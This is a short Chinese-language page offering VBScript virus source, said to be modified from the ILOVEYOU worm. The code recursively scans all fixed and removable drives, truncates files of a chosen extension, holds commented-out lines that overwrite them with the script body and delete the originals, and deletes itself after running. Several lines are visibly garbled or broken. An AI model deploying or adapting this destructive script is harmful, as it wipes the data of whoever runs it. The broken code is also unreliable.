vbs病毒的简单例⼦源代码解析
说明：作者对某些代码进⾏了修改。该⽂件是⼀个完整的程序。该⽂件执⾏之后，会寻硬盘上所有满⾜条件的⽂件，对其进⾏强制性覆盖（满⾜条件的⽂件数据将全部丢失）、并再创建⼀个相同⽂件名但后带.vbs的⽂件。因此，请注意设⽴好破坏测试条件，千万不要对他⼈进⾏测试，否则，⼀切后果⾃负。如果你的系统不⽀持.vbs，可以将后缀改为.vbe
dim folder,fso,foldername,f,d,dc
vbs整人代码病毒set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
adall '读取病毒体，以备复制到⽂件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set file(lsfile)
lsfile.delete(true) '病毒运⾏后⾃我删除(本⼈⾃加，爱⾍病毒本⾝没有该代码）
sub scan(folder_)
on error resume next
set folder_=folder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取⽂件后缀
ext=lcase(ext) '后缀名转换成⼩写字母
if ext="mp5" then '如果后缀名是mp5，当然不存在这种⽂件，这⾥可以⾃⼰修改，但是注意。请⾃⼰建⽴相应后缀名的⽂件，最好是⾮正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖⽂件，慎⽤
ap.close
set file(file.path)
' file.delete(true) '删除原来⽂件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他⽬录
scan(subfolder)
next
end sub